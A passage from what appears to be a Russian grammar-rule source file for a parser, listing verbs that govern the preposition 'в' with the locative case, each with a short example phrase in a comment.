rus_verbs:рыскать{}, // рыскать в лесу rus_verbs:надрываться{}, // надрываться в шахте rus_verbs:сняться{}, // сняться в фильме rus_verbs:закружить{}, // закружить в танце rus_verbs:затонуть{}, // затонуть в порту rus_verbs:побыть{}, // побыть в гостях rus_verbs:почистить{}, // почистить в носу rus_verbs:сгорбиться{}, // сгорбиться в тесной конуре rus_verbs:подслушивать{}, // подслушивать в классе rus_verbs:сгорать{}, // сгорать в танке rus_verbs:разочароваться{}, // разочароваться в артисте инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать в кустиках rus_verbs:мять{}, // мять в руках rus_verbs:подраться{}, // подраться в классе rus_verbs:замести{}, // замести в прихожей rus_verbs:откладываться{}, // откладываться в печени rus_verbs:обозначаться{}, // обозначаться в перечне rus_verbs:просиживать{}, // просиживать в интернете rus_verbs:соприкасаться{}, // соприкасаться в точке rus_verbs:начертить{}, // начертить в тетрадке rus_verbs:уменьшать{}, // уменьшать в поперечнике rus_verbs:тормозить{}, // тормозить в облаке rus_verbs:затевать{}, // затевать в лаборатории rus_verbs:затопить{}, // затопить в бухте rus_verbs:задерживать{}, // задерживать в лифте rus_verbs:прогуляться{}, // прогуляться в лесу rus_verbs:прорубить{}, // прорубить во льду rus_verbs:очищать{}, // очищать в кислоте rus_verbs:полулежать{}, // полулежать в гамаке rus_verbs:исправить{}, // исправить в задании rus_verbs:предусматриваться{}, // предусматриваться в постановке задачи rus_verbs:замучить{}, // замучить в плену rus_verbs:разрушаться{}, // разрушаться в верхней части rus_verbs:ерзать{}, // ерзать в кресле rus_verbs:покопаться{}, // покопаться в залежах rus_verbs:раскаяться{}, // раскаяться в содеянном rus_verbs:пробежаться{}, // пробежаться в парке rus_verbs:полежать{}, // полежать в гамаке rus_verbs:позаимствовать{}, // позаимствовать в книге rus_verbs:снижать{}, // снижать в несколько раз rus_verbs:черпать{}, // черпать в поэзии rus_verbs:заверять{}, // заверять в своей искренности rus_verbs:проглядеть{}, // проглядеть в сумерках rus_verbs:припарковать{}, // припарковать во дворе rus_verbs:сверлить{}, // сверлить в стене rus_verbs:здороваться{}, // здороваться в аудитории rus_verbs:рожать{}, // рожать в воде rus_verbs:нацарапать{}, // нацарапать в тетрадке rus_verbs:затопать{}, // затопать в коридоре rus_verbs:прописать{}, // прописать в правилах rus_verbs:сориентироваться{}, // сориентироваться в обстоятельствах rus_verbs:снизить{}, // снизить в несколько раз rus_verbs:заблуждаться{}, // заблуждаться в своей теории rus_verbs:откопать{}, // откопать в отвалах rus_verbs:смастерить{}, // смастерить в лаборатории rus_verbs:замедлиться{}, // замедлиться в парафине rus_verbs:избивать{}, // избивать в участке rus_verbs:мыться{}, // мыться в бане rus_verbs:сварить{}, // сварить в кастрюльке rus_verbs:раскопать{}, // раскопать в снегу rus_verbs:крепиться{}, // крепиться в держателе rus_verbs:дробить{}, // дробить в мельнице rus_verbs:попить{}, // попить в ресторанчике rus_verbs:затронуть{}, // затронуть в душе rus_verbs:лязгнуть{}, // лязгнуть в тишине rus_verbs:заправлять{}, // заправлять в полете rus_verbs:размножаться{}, // размножаться в неволе rus_verbs:потопить{}, // потопить в Тихом Океане rus_verbs:кушать{}, // кушать в столовой rus_verbs:замолкать{}, // замолкать в замешательстве rus_verbs:измеряться{}, // измеряться в дюймах rus_verbs:сбываться{}, // сбываться в мечтах rus_verbs:задернуть{}, // задернуть в комнате rus_verbs:затихать{}, // затихать в темноте rus_verbs:прослеживаться{}, // прослеживается в журнале rus_verbs:прерываться{}, // прерывается в начале rus_verbs:изображаться{}, // изображается в любых фильмах rus_verbs:фиксировать{}, // фиксировать в данной точке rus_verbs:ослаблять{}, // ослаблять в поясе rus_verbs:зреть{}, // зреть в теплице rus_verbs:зеленеть{}, // зеленеть в огороде rus_verbs:критиковать{}, // критиковать в статье rus_verbs:облететь{}, // облететь в частном вертолете rus_verbs:разбросать{}, // разбросать в комнате rus_verbs:заразиться{}, // заразиться в людном месте rus_verbs:рассеять{}, // рассеять в бою rus_verbs:печься{}, // печься в духовке rus_verbs:поспать{}, // поспать в палатке rus_verbs:заступиться{}, // заступиться в драке rus_verbs:сплетаться{}, // сплетаться в середине rus_verbs:поместиться{}, // поместиться в мешке rus_verbs:спереть{}, // спереть в лавке // инфинитив:ликвидировать{ вид:несоверш }, глагол:ликвидировать{ вид:несоверш }, // ликвидировать в пригороде // инфинитив:ликвидировать{ вид:соверш }, глагол:ликвидировать{ вид:соверш }, rus_verbs:проваляться{}, // проваляться в постели rus_verbs:лечиться{}, // лечиться в стационаре rus_verbs:определиться{}, // определиться в честном бою rus_verbs:обработать{}, // обработать в растворе rus_verbs:пробивать{}, // пробивать в стене rus_verbs:перемешаться{}, // перемешаться в чане rus_verbs:чесать{}, // чесать в паху rus_verbs:пролечь{}, // пролечь в пустынной местности rus_verbs:скитаться{}, // скитаться в дальних странах rus_verbs:затрудняться{}, // затрудняться в выборе rus_verbs:отряхнуться{}, // отряхнуться в коридоре rus_verbs:разыгрываться{}, // разыгрываться в лотерее rus_verbs:помолиться{}, // помолиться в церкви rus_verbs:предписывать{}, // предписывать в рецепте rus_verbs:порваться{}, // порваться в слабом месте rus_verbs:греться{}, // греться в здании rus_verbs:опровергать{}, // опровергать в своем выступлении rus_verbs:помянуть{}, // помянуть в своем выступлении rus_verbs:допросить{}, // допросить в прокуратуре rus_verbs:материализоваться{}, // материализоваться в соседнем здании rus_verbs:рассеиваться{}, // рассеиваться в воздухе rus_verbs:перевозить{}, // перевозить в вагоне rus_verbs:отбывать{}, // отбывать в тюрьме rus_verbs:попахивать{}, // попахивать в отхожем месте rus_verbs:перечислять{}, // перечислять в заключении rus_verbs:зарождаться{}, // зарождаться в дебрях rus_verbs:предъявлять{}, // предъявлять в своем письме rus_verbs:распространять{}, // распространять в сети rus_verbs:пировать{}, // пировать в соседнем селе rus_verbs:начертать{}, // начертать в летописи rus_verbs:расцветать{}, // расцветать в подходящих условиях rus_verbs:царствовать{}, // царствовать в южной части материка rus_verbs:накопить{}, // накопить в буфере rus_verbs:закрутиться{}, // закрутиться в рутине rus_verbs:отработать{}, // отработать в забое rus_verbs:обокрасть{}, // обокрасть в автобусе rus_verbs:прокладывать{}, // прокладывать в снегу rus_verbs:ковырять{}, // ковырять в носу rus_verbs:копить{}, // копить в очереди rus_verbs:полечь{}, // полечь в степях rus_verbs:щебетать{}, // щебетать в кустиках rus_verbs:подчеркиваться{}, // подчеркиваться в сообщении rus_verbs:посеять{}, // посеять в огороде rus_verbs:разъезжать{}, // разъезжать в кабриолете rus_verbs:замечаться{}, // замечаться в лесу rus_verbs:просчитать{}, // просчитать в уме rus_verbs:маяться{}, // маяться в командировке rus_verbs:выхватывать{}, // выхватывать в тексте rus_verbs:креститься{}, // креститься в деревенской часовне rus_verbs:обрабатывать{}, // обрабатывать в растворе кислоты rus_verbs:настигать{}, // настигать в огороде rus_verbs:разгуливать{}, // разгуливать в роще rus_verbs:насиловать{}, // насиловать в квартире rus_verbs:побороть{}, // побороть в себе rus_verbs:учитывать{}, // учитывать в расчетах rus_verbs:искажать{}, // искажать в заметке rus_verbs:пропить{}, // пропить в кабаке rus_verbs:катать{}, // катать в лодочке rus_verbs:припрятать{}, // припрятать в кармашке rus_verbs:запаниковать{}, // запаниковать в бою rus_verbs:рассыпать{}, // рассыпать в траве rus_verbs:застревать{}, // застревать в ограде rus_verbs:зажигаться{}, // зажигаться в сумерках rus_verbs:жарить{}, // жарить в масле rus_verbs:накапливаться{}, // накапливаться в костях rus_verbs:распуститься{}, // распуститься в горшке rus_verbs:проголосовать{}, // проголосовать в передвижном пункте rus_verbs:странствовать{}, // странствовать в автомобиле rus_verbs:осматриваться{}, // осматриваться в хоромах rus_verbs:разворачивать{}, // разворачивать в спортзале rus_verbs:заскучать{}, // заскучать в самолете rus_verbs:напутать{}, // напутать в расчете rus_verbs:перекусить{}, // перекусить в столовой rus_verbs:спасаться{}, // спасаться в автономной капсуле rus_verbs:посовещаться{}, // посовещаться в комнате rus_verbs:доказываться{}, // доказываться в статье rus_verbs:познаваться{}, // познаваться в беде rus_verbs:загрустить{}, // загрустить в одиночестве rus_verbs:оживить{}, // оживить в памяти rus_verbs:переворачиваться{}, // переворачиваться в гробу rus_verbs:заприметить{}, // заприметить в лесу rus_verbs:отравиться{}, // отравиться в забегаловке rus_verbs:продержать{}, // продержать в клетке rus_verbs:выявить{}, // выявить в костях rus_verbs:заседать{}, // заседать в совете rus_verbs:расплачиваться{}, // расплачиваться в первой кассе rus_verbs:проломить{}, // проломить в двери rus_verbs:подражать{}, // подражать в мелочах rus_verbs:подсчитывать{}, // подсчитывать в уме rus_verbs:опережать{}, // опережать во всем rus_verbs:сформироваться{}, // сформироваться в облаке rus_verbs:укрепиться{}, // укрепиться в мнении rus_verbs:отстоять{}, // отстоять в очереди rus_verbs:развертываться{}, // развертываться в месте испытания rus_verbs:замерзать{}, // замерзать во льду rus_verbs:утопать{}, // утопать в снегу rus_verbs:раскаиваться{}, // раскаиваться в содеянном rus_verbs:организовывать{}, // организовывать в пионерлагере rus_verbs:перевестись{}, // перевестись в наших краях rus_verbs:смешивать{}, // смешивать в блендере rus_verbs:ютиться{}, // ютиться в тесной каморке rus_verbs:прождать{}, // прождать в аудитории rus_verbs:подыскивать{}, // подыскивать в женском общежитии rus_verbs:замочить{}, // замочить в сортире rus_verbs:мерзнуть{}, // мерзнуть в тонкой курточке rus_verbs:растирать{}, // растирать в ступке rus_verbs:замедлять{}, // замедлять в парафине rus_verbs:переспать{}, // переспать в палатке rus_verbs:рассекать{}, // рассекать в кабриолете rus_verbs:отыскивать{}, // отыскивать в залежах rus_verbs:опровергнуть{}, // опровергнуть в своем выступлении rus_verbs:дрыхнуть{}, // дрыхнуть в гамаке rus_verbs:укрываться{}, // укрываться в землянке rus_verbs:запечься{}, // запечься в золе rus_verbs:догорать{}, // догорать в темноте rus_verbs:застилать{}, // застилать в коридоре rus_verbs:сыскаться{}, // сыскаться в деревне rus_verbs:переделать{}, // переделать в мастерской rus_verbs:разъяснять{}, // разъяснять в своей лекции rus_verbs:селиться{}, // селиться в центре rus_verbs:оплачивать{}, // оплачивать в магазине rus_verbs:переворачивать{}, // переворачивать в закрытой банке rus_verbs:упражняться{}, // упражняться в остроумии rus_verbs:пометить{}, // пометить в списке rus_verbs:припомниться{}, // припомниться в завещании rus_verbs:приютить{}, // приютить в амбаре rus_verbs:натерпеться{}, // натерпеться в темнице rus_verbs:затеваться{}, // затеваться в клубе rus_verbs:уплывать{}, // уплывать в лодке rus_verbs:скиснуть{}, // скиснуть в бидоне rus_verbs:заколоть{}, // заколоть в боку rus_verbs:замерцать{}, // замерцать в темноте rus_verbs:фиксироваться{}, // фиксироваться в протоколе rus_verbs:запираться{}, // запираться в комнате rus_verbs:съезжаться{}, // съезжаться в каретах rus_verbs:толочься{}, // толочься в ступе rus_verbs:потанцевать{}, // потанцевать в клубе rus_verbs:побродить{}, // побродить в парке rus_verbs:назревать{}, // назревать в коллективе rus_verbs:дохнуть{}, // дохнуть в питомнике rus_verbs:крестить{}, // крестить в деревенской церквушке rus_verbs:рассчитаться{}, // рассчитаться в банке rus_verbs:припарковаться{}, // припарковаться во дворе rus_verbs:отхватить{}, // отхватить в магазинчике rus_verbs:остывать{}, // остывать в холодильнике rus_verbs:составляться{}, // составляться в атмосфере тайны rus_verbs:переваривать{}, // переваривать в тишине rus_verbs:хвастать{}, // хвастать в казино rus_verbs:отрабатывать{}, // отрабатывать в теплице rus_verbs:разлечься{}, // разлечься в кровати rus_verbs:прокручивать{}, // прокручивать в голове rus_verbs:очертить{}, // очертить в воздухе rus_verbs:сконфузиться{}, // сконфузиться в окружении незнакомых людей rus_verbs:выявлять{}, // выявлять в боевых условиях rus_verbs:караулить{}, // караулить в лифте rus_verbs:расставлять{}, // расставлять в бойницах rus_verbs:прокрутить{}, // прокрутить в голове rus_verbs:пересказывать{}, // пересказывать в первой главе rus_verbs:задавить{}, // задавить в зародыше rus_verbs:хозяйничать{}, // хозяйничать в холодильнике rus_verbs:хвалиться{}, // хвалиться в детском садике rus_verbs:оперировать{}, // оперировать в полевом госпитале rus_verbs:формулировать{}, // формулировать в следующей главе rus_verbs:застигнуть{}, // застигнуть в неприглядном виде rus_verbs:замурлыкать{}, // замурлыкать в тепле rus_verbs:поддакивать{}, // поддакивать в споре rus_verbs:прочертить{}, // прочертить в воздухе rus_verbs:отменять{}, // отменять в городе коменданский час rus_verbs:колдовать{}, // колдовать в лаборатории rus_verbs:отвозить{}, // отвозить в машине rus_verbs:трахать{}, // трахать в гамаке rus_verbs:повозиться{}, // повозиться в мешке rus_verbs:ремонтировать{}, // ремонтировать в центре rus_verbs:робеть{}, // робеть в гостях rus_verbs:перепробовать{}, // перепробовать в деле инфинитив:реализовать{ вид:соверш }, инфинитив:реализовать{ вид:несоверш }, // реализовать в новой версии глагол:реализовать{ вид:соверш }, глагол:реализовать{ вид:несоверш }, rus_verbs:покаяться{}, // покаяться в церкви rus_verbs:попрыгать{}, // попрыгать в бассейне rus_verbs:умалчивать{}, // умалчивать в своем докладе rus_verbs:ковыряться{}, // ковыряться в старой технике rus_verbs:расписывать{}, // расписывать в деталях rus_verbs:вязнуть{}, // вязнуть в песке rus_verbs:погрязнуть{}, // погрязнуть в скандалах rus_verbs:корениться{}, // корениться в неспособности выполнить поставленную задачу rus_verbs:зажимать{}, // зажимать в углу rus_verbs:стискивать{}, // стискивать в ладонях rus_verbs:практиковаться{}, // практиковаться в приготовлении соуса rus_verbs:израсходовать{}, // израсходовать в полете rus_verbs:клокотать{}, // клокотать в жерле rus_verbs:обвиняться{}, // обвиняться в растрате rus_verbs:уединиться{}, // уединиться в кладовке rus_verbs:подохнуть{}, // подохнуть в болоте rus_verbs:кипятиться{}, // кипятиться в чайнике rus_verbs:уродиться{}, // уродиться в лесу rus_verbs:продолжиться{}, // продолжиться в баре rus_verbs:расшифровать{}, // расшифровать в специальном устройстве rus_verbs:посапывать{}, // посапывать в кровати rus_verbs:скрючиться{}, // скрючиться в мешке rus_verbs:лютовать{}, // лютовать в отдаленных селах rus_verbs:расписать{}, // расписать в статье rus_verbs:публиковаться{}, // публиковаться в научном журнале rus_verbs:зарегистрировать{}, // зарегистрировать в комитете rus_verbs:прожечь{}, // прожечь в листе rus_verbs:переждать{}, // переждать в окопе rus_verbs:публиковать{}, // публиковать в журнале rus_verbs:морщить{}, // морщить в уголках глаз rus_verbs:спиться{}, // спиться в одиночестве rus_verbs:изведать{}, // изведать в гареме rus_verbs:обмануться{}, // обмануться в ожиданиях rus_verbs:сочетать{}, // сочетать в себе rus_verbs:подрабатывать{}, // подрабатывать в магазине rus_verbs:репетировать{}, // репетировать в студии rus_verbs:рябить{}, // рябить в глазах rus_verbs:намочить{}, // намочить в луже rus_verbs:скатать{}, // скатать в руке rus_verbs:одевать{}, // одевать в магазине rus_verbs:испечь{}, // испечь в духовке rus_verbs:сбрить{}, // сбрить в подмышках rus_verbs:зажужжать{}, // зажужжать в ухе rus_verbs:сберечь{}, // сберечь в тайном месте rus_verbs:согреться{}, // согреться в хижине инфинитив:дебютировать{ вид:несоверш }, инфинитив:дебютировать{ вид:соверш }, // дебютировать в спектакле глагол:дебютировать{ вид:несоверш }, глагол:дебютировать{ вид:соверш }, rus_verbs:переплыть{}, // переплыть в лодочке rus_verbs:передохнуть{}, // передохнуть в тени rus_verbs:отсвечивать{}, // отсвечивать в зеркалах rus_verbs:переправляться{}, // переправляться в лодках rus_verbs:накупить{}, // накупить в магазине rus_verbs:проторчать{}, // проторчать в очереди rus_verbs:проскальзывать{}, // проскальзывать в сообщениях rus_verbs:застукать{}, // застукать в солярии rus_verbs:наесть{}, // наесть в отпуске rus_verbs:подвизаться{}, // подвизаться в новом деле rus_verbs:вычистить{}, // вычистить в саду rus_verbs:кормиться{}, // кормиться в лесу rus_verbs:покурить{}, // покурить в саду rus_verbs:понизиться{}, // понизиться в ранге rus_verbs:зимовать{}, // зимовать в избушке rus_verbs:проверяться{}, // проверяться в службе безопасности rus_verbs:подпирать{}, // подпирать в первом забое rus_verbs:кувыркаться{}, // кувыркаться в постели rus_verbs:похрапывать{}, // похрапывать в постели rus_verbs:завязнуть{}, // завязнуть в песке rus_verbs:трактовать{}, // трактовать в исследовательской статье rus_verbs:замедляться{}, // замедляться в тяжелой воде rus_verbs:шастать{}, // шастать в здании rus_verbs:заночевать{}, // заночевать в пути rus_verbs:наметиться{}, // наметиться в исследованиях рака rus_verbs:освежить{}, // освежить в памяти rus_verbs:оспаривать{}, // оспаривать в суде rus_verbs:умещаться{}, // умещаться в ячейке rus_verbs:искупить{}, // искупить в бою rus_verbs:отсиживаться{}, // отсиживаться в тылу rus_verbs:мчать{}, // мчать в кабриолете rus_verbs:обличать{}, // обличать в своем выступлении rus_verbs:сгнить{}, // сгнить в тюряге rus_verbs:опробовать{}, // опробовать в деле rus_verbs:тренировать{}, // тренировать в зале rus_verbs:прославить{}, // прославить в академии rus_verbs:учитываться{}, // учитываться в дипломной работе rus_verbs:повеселиться{}, // повеселиться в лагере rus_verbs:поумнеть{}, // поумнеть в карцере rus_verbs:перестрелять{}, // перестрелять в воздухе rus_verbs:проведать{}, // проведать в больнице rus_verbs:измучиться{}, // измучиться в деревне rus_verbs:прощупать{}, // прощупать в глубине rus_verbs:изготовлять{}, // изготовлять в сарае rus_verbs:свирепствовать{}, // свирепствовать в популяции rus_verbs:иссякать{}, // иссякать в источнике rus_verbs:гнездиться{}, // гнездиться в дупле rus_verbs:разогнаться{}, // разогнаться в спортивной машине rus_verbs:опознавать{}, // опознавать в неизвестном rus_verbs:засвидетельствовать{}, // засвидетельствовать в суде rus_verbs:сконцентрировать{}, // сконцентрировать в своих руках rus_verbs:редактировать{}, // редактировать в редакторе rus_verbs:покупаться{}, // покупаться в магазине rus_verbs:промышлять{}, // промышлять в роще rus_verbs:растягиваться{}, // растягиваться в коридоре rus_verbs:приобретаться{}, // приобретаться в антикварных лавках инфинитив:подрезать{ вид:несоверш }, инфинитив:подрезать{ вид:соверш }, // подрезать в воде глагол:подрезать{ вид:несоверш }, глагол:подрезать{ вид:соверш }, rus_verbs:запечатлеться{}, // запечатлеться в мозгу rus_verbs:укрывать{}, // укрывать в подвале rus_verbs:закрепиться{}, // закрепиться в первой башне rus_verbs:освежать{}, // освежать в памяти rus_verbs:громыхать{}, // громыхать в ванной инфинитив:подвигаться{ вид:соверш }, инфинитив:подвигаться{ вид:несоверш }, // подвигаться в кровати глагол:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:несоверш }, rus_verbs:добываться{}, // добываться в шахтах rus_verbs:растворить{}, // растворить в кислоте rus_verbs:приплясывать{}, // приплясывать в гримерке rus_verbs:доживать{}, // доживать в доме престарелых rus_verbs:отпраздновать{}, // отпраздновать в ресторане rus_verbs:сотрясаться{}, // сотрясаться в конвульсиях rus_verbs:помыть{}, // помыть в проточной воде инфинитив:увязать{ вид:несоверш }, инфинитив:увязать{ вид:соверш }, // увязать в песке глагол:увязать{ вид:несоверш }, глагол:увязать{ вид:соверш }, прилагательное:увязавший{ вид:несоверш }, rus_verbs:наличествовать{}, // наличествовать в запаснике rus_verbs:нащупывать{}, // нащупывать в кармане rus_verbs:повествоваться{}, // повествоваться в рассказе rus_verbs:отремонтировать{}, // отремонтировать в техцентре rus_verbs:покалывать{}, // покалывать в правом боку rus_verbs:сиживать{}, // сиживать в саду rus_verbs:разрабатываться{}, // разрабатываться в секретных лабораториях rus_verbs:укрепляться{}, // укрепляться в мнении rus_verbs:разниться{}, // разниться во взглядах rus_verbs:сполоснуть{}, // сполоснуть в водичке rus_verbs:скупать{}, // скупать в магазине rus_verbs:почесывать{}, // почесывать в паху rus_verbs:оформлять{}, // оформлять в конторе rus_verbs:распускаться{}, // распускаться в садах rus_verbs:зарябить{}, // зарябить в глазах rus_verbs:загореть{}, // загореть в Испании rus_verbs:очищаться{}, // очищаться в баке rus_verbs:остудить{}, // остудить в холодной воде rus_verbs:разбомбить{}, // разбомбить в горах rus_verbs:издохнуть{}, // издохнуть в бедности rus_verbs:проехаться{}, // проехаться в новой машине rus_verbs:задействовать{}, // задействовать в анализе rus_verbs:произрастать{}, // произрастать в степи rus_verbs:разуться{}, // разуться в прихожей rus_verbs:сооружать{}, // сооружать в огороде rus_verbs:зачитывать{}, // зачитывать в суде rus_verbs:состязаться{}, // состязаться в остроумии rus_verbs:ополоснуть{}, // ополоснуть в молоке rus_verbs:уместиться{}, // уместиться в кармане rus_verbs:совершенствоваться{}, // совершенствоваться в управлении мотоциклом rus_verbs:стираться{}, // стираться в стиральной машине rus_verbs:искупаться{}, // искупаться в прохладной реке rus_verbs:курировать{}, // курировать в правительстве rus_verbs:закупить{}, // закупить в магазине rus_verbs:плодиться{}, // плодиться в подходящих условиях rus_verbs:горланить{}, // горланить в парке rus_verbs:першить{}, // першить в горле rus_verbs:пригрезиться{}, // пригрезиться во сне rus_verbs:исправлять{}, // исправлять в тетрадке rus_verbs:расслабляться{}, // расслабляться в гамаке rus_verbs:скапливаться{}, // скапливаться в нижней части rus_verbs:сплетничать{}, // сплетничают в комнате rus_verbs:раздевать{}, // раздевать в кабинке rus_verbs:окопаться{}, // окопаться в лесу rus_verbs:загорать{}, // загорать в Испании rus_verbs:подпевать{}, // подпевать в церковном хоре rus_verbs:прожужжать{}, // прожужжать в динамике rus_verbs:изучаться{}, // изучаться в дикой природе rus_verbs:заклубиться{}, // заклубиться в воздухе rus_verbs:подметать{}, // подметать в зале rus_verbs:подозреваться{}, // подозреваться в совершении кражи rus_verbs:обогащать{}, // обогащать в специальном аппарате rus_verbs:издаться{}, // издаться в другом издательстве rus_verbs:справить{}, // справить в кустах нужду rus_verbs:помыться{}, // помыться в бане rus_verbs:проскакивать{}, // проскакивать в словах rus_verbs:попивать{}, // попивать в кафе чай rus_verbs:оформляться{}, // оформляться в регистратуре rus_verbs:чирикать{}, // чирикать в кустах rus_verbs:скупить{}, // скупить в магазинах rus_verbs:переночевать{}, // переночевать в гостинице rus_verbs:концентрироваться{}, // концентрироваться в пробирке rus_verbs:одичать{}, // одичать в лесу rus_verbs:ковырнуть{}, // ковырнуть в ухе rus_verbs:затеплиться{}, // затеплиться в глубине души rus_verbs:разгрести{}, // разгрести в задачах залежи rus_verbs:застопориться{}, // застопориться в начале списка rus_verbs:перечисляться{}, // перечисляться во введении rus_verbs:покататься{}, // покататься в парке аттракционов rus_verbs:изловить{}, // изловить в поле rus_verbs:прославлять{}, // прославлять в стихах rus_verbs:промочить{}, // промочить в луже rus_verbs:поделывать{}, // поделывать в отпуске rus_verbs:просуществовать{}, // просуществовать в первобытном состоянии rus_verbs:подстеречь{}, // подстеречь в подъезде rus_verbs:прикупить{}, // прикупить в магазине rus_verbs:перемешивать{}, // перемешивать в кастрюле rus_verbs:тискать{}, // тискать в углу rus_verbs:купать{}, // купать в теплой водичке rus_verbs:завариться{}, // завариться в стакане rus_verbs:притулиться{}, // притулиться в углу rus_verbs:пострелять{}, // пострелять в тире rus_verbs:навесить{}, // навесить в больнице инфинитив:изолировать{ вид:соверш }, инфинитив:изолировать{ вид:несоверш }, // изолировать в камере глагол:изолировать{ вид:соверш }, глагол:изолировать{ вид:несоверш }, rus_verbs:нежиться{}, // нежится в постельке rus_verbs:притомиться{}, // притомиться в школе rus_verbs:раздвоиться{}, // раздвоиться в глазах rus_verbs:навалить{}, // навалить в углу rus_verbs:замуровать{}, // замуровать в склепе rus_verbs:поселяться{}, // поселяться в кроне дуба rus_verbs:потягиваться{}, // потягиваться в кровати rus_verbs:укачать{}, // укачать в поезде rus_verbs:отлеживаться{}, // отлеживаться в гамаке rus_verbs:разменять{}, // разменять в кассе rus_verbs:прополоскать{}, // прополоскать в чистой теплой воде rus_verbs:ржаветь{}, // ржаветь в воде rus_verbs:уличить{}, // уличить в плагиате rus_verbs:мутиться{}, // мутиться в голове rus_verbs:растворять{}, // растворять в бензоле rus_verbs:двоиться{}, // двоиться в глазах rus_verbs:оговорить{}, // оговорить в договоре rus_verbs:подделать{}, // подделать в документе rus_verbs:зарегистрироваться{}, // зарегистрироваться в социальной сети rus_verbs:растолстеть{}, // растолстеть в талии rus_verbs:повоевать{}, // повоевать в городских условиях rus_verbs:прибраться{}, // гнушаться прибраться в хлеву rus_verbs:поглощаться{}, // поглощаться в металлической фольге rus_verbs:ухать{}, // ухать в лесу rus_verbs:подписываться{}, // подписываться в петиции rus_verbs:покатать{}, // покатать в машинке rus_verbs:излечиться{}, // излечиться в клинике rus_verbs:трепыхаться{}, // трепыхаться в мешке rus_verbs:кипятить{}, // кипятить в кастрюле rus_verbs:понастроить{}, // понастроить в прибрежной зоне rus_verbs:перебывать{}, // перебывать во всех европейских столицах rus_verbs:оглашать{}, // оглашать в итоговой части rus_verbs:преуспевать{}, // преуспевать в новом бизнесе rus_verbs:консультироваться{}, // консультироваться в техподдержке rus_verbs:накапливать{}, // накапливать в печени rus_verbs:перемешать{}, // перемешать в контейнере rus_verbs:наследить{}, // наследить в коридоре rus_verbs:выявиться{}, // выявиться в результе rus_verbs:забулькать{}, // забулькать в болоте rus_verbs:отваривать{}, // отваривать в молоке rus_verbs:запутываться{}, // запутываться в веревках rus_verbs:нагреться{}, // нагреться в микроволновой печке rus_verbs:рыбачить{}, // рыбачить в открытом море rus_verbs:укорениться{}, // укорениться в сознании широких народных масс rus_verbs:умывать{}, // умывать в тазике rus_verbs:защекотать{}, // защекотать в носу rus_verbs:заходиться{}, // заходиться в плаче инфинитив:искупать{ вид:соверш }, инфинитив:искупать{ вид:несоверш }, // искупать в прохладной водичке глагол:искупать{ вид:соверш }, глагол:искупать{ вид:несоверш }, деепричастие:искупав{}, деепричастие:искупая{}, rus_verbs:заморозить{}, // заморозить в холодильнике rus_verbs:закреплять{}, // закреплять в металлическом держателе rus_verbs:расхватать{}, // расхватать в магазине rus_verbs:истязать{}, // истязать в тюремном подвале rus_verbs:заржаветь{}, // заржаветь во влажной атмосфере rus_verbs:обжаривать{}, // обжаривать в подсолнечном масле rus_verbs:умереть{}, // Ты, подлый предатель, умрешь в нищете rus_verbs:подогреть{}, // подогрей в микроволновке rus_verbs:подогревать{}, rus_verbs:затянуть{}, // Кузнечики, сверчки, скрипачи и медведки затянули в траве свою трескучую музыку rus_verbs:проделать{}, // проделать в стене дыру инфинитив:жениться{ вид:соверш }, // жениться в Техасе инфинитив:жениться{ вид:несоверш }, глагол:жениться{ вид:соверш }, глагол:жениться{ вид:несоверш }, деепричастие:женившись{}, деепричастие:женясь{}, прилагательное:женатый{}, прилагательное:женившийся{вид:соверш}, прилагательное:женящийся{}, rus_verbs:всхрапнуть{}, // всхрапнуть во сне rus_verbs:всхрапывать{}, // всхрапывать во сне rus_verbs:ворочаться{}, // Собака ворочается во сне rus_verbs:воссоздаваться{}, // воссоздаваться в памяти rus_verbs:акклиматизироваться{}, // альпинисты готовятся акклиматизироваться в горах инфинитив:атаковать{ вид:несоверш }, // взвод был атакован в лесу инфинитив:атаковать{ вид:соверш }, глагол:атаковать{ вид:несоверш }, глагол:атаковать{ вид:соверш }, прилагательное:атакованный{}, прилагательное:атаковавший{}, прилагательное:атакующий{}, инфинитив:аккумулировать{вид:несоверш}, // энергия была аккумулирована в печени инфинитив:аккумулировать{вид:соверш}, глагол:аккумулировать{вид:несоверш}, глагол:аккумулировать{вид:соверш}, прилагательное:аккумулированный{}, прилагательное:аккумулирующий{}, //прилагательное:аккумулировавший{ вид:несоверш }, прилагательное:аккумулировавший{ вид:соверш }, rus_verbs:врисовывать{}, // врисовывать нового персонажа в анимацию rus_verbs:вырасти{}, // Он вырос в глазах коллег. rus_verbs:иметь{}, // Он всегда имел в резерве острое словцо. rus_verbs:убить{}, // убить в себе зверя инфинитив:абсорбироваться{ вид:соверш }, // жидкость абсорбируется в поглощающей ткани инфинитив:абсорбироваться{ вид:несоверш }, глагол:абсорбироваться{ вид:соверш }, глагол:абсорбироваться{ вид:несоверш }, rus_verbs:поставить{}, // поставить в углу rus_verbs:сжимать{}, // сжимать в кулаке rus_verbs:готовиться{}, // альпинисты готовятся акклиматизироваться в горах rus_verbs:аккумулироваться{}, // энергия аккумулируется в жировых отложениях инфинитив:активизироваться{ вид:несоверш }, // в горах активизировались повстанцы инфинитив:активизироваться{ вид:соверш }, глагол:активизироваться{ вид:несоверш }, глагол:активизироваться{ вид:соверш }, rus_verbs:апробировать{}, // пилот апробировал в ходе испытаний новый режим планера rus_verbs:арестовать{}, // наркодилер был арестован в помещении кафе rus_verbs:базировать{}, // установка будет базирована в лесу rus_verbs:барахтаться{}, // дети барахтались в воде rus_verbs:баррикадироваться{}, // преступники баррикадируются в помещении банка rus_verbs:барствовать{}, // Семен Семенович барствовал в своей деревне rus_verbs:бесчинствовать{}, // Боевики бесчинствовали в захваченном селе rus_verbs:блаженствовать{}, // Воробьи блаженствовали в кроне рябины rus_verbs:блуждать{}, // Туристы блуждали в лесу rus_verbs:брать{}, // Жена берет деньги в тумбочке rus_verbs:бродить{}, // парочки бродили в парке rus_verbs:обойти{}, // Бразилия обошла Россию в рейтинге rus_verbs:задержать{}, // Знаменитый советский фигурист задержан в США rus_verbs:бултыхаться{}, // Ноги бултыхаются в воде rus_verbs:вариться{}, // Курица варится в кастрюле rus_verbs:закончиться{}, // Эта рецессия закончилась в 2003 году rus_verbs:прокручиваться{}, // Ключ прокручивается в замке rus_verbs:прокрутиться{}, // Ключ трижды прокрутился в замке rus_verbs:храниться{}, // Настройки хранятся в текстовом файле rus_verbs:сохраняться{}, // Настройки сохраняются в текстовом файле rus_verbs:витать{}, // Мальчик витает в облаках rus_verbs:владычествовать{}, // Король владычествует в стране rus_verbs:властвовать{}, 